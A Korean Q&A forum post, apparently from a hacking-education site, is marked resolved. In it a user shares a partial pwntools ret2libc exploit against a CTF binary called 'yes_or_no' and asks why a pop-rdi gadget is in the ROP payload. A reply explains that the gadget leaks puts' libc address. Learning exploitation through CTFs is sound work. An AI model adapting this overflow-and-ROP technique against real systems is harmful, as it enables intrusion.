완료됨
시스템 해킹 질문이요....

from pwn import *
r = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = e.libc
libc = ELF("libc-2.27.so")
puts_got = e.got['puts']
puts_plt = e.plt['puts']
main = e.symbols['main']
system_offset = libc.symbols['system']
puts_offset = libc.symbols['puts']
binshadd = next(libc.search(b'/bin/sh'))
rdi_ret = 0x0000000000400883
ret = 0x000000000040056e
payload = b"A"*0x12 +b"A"*0x8
payload += p64(rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
print(r.recvuntil("Show me your number~!\n"))
r.sendline("9830400")
print(r.recvuntil("That's cool. Follow me\n"))
r.sendline(payload)
puts_add = r.recv(6)
위에서 payload에 넣는 것중에 rdi_ret은 왜 넣는 건가요?

작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
avatar
믕믕이부하
대표 업적 없음
avatar
믕믕이부하
대표 업적 없음

해당 rdi_ret 가젯을 통해 puts@got의 주소를 rdi 레지스터에 넣고 puts@plt로 puts 함수를 실행하여 puts 함수의 실제 주소를 유출하기 위함으로 보입니다.

https://dreamhack.io/lecture/courses/84 강의를 통해 ROP 공격에 대해 공부하시면 해당 부분을 더 쉽게 이해하실 수 있을 겁니다.

2022.03.22. 14:01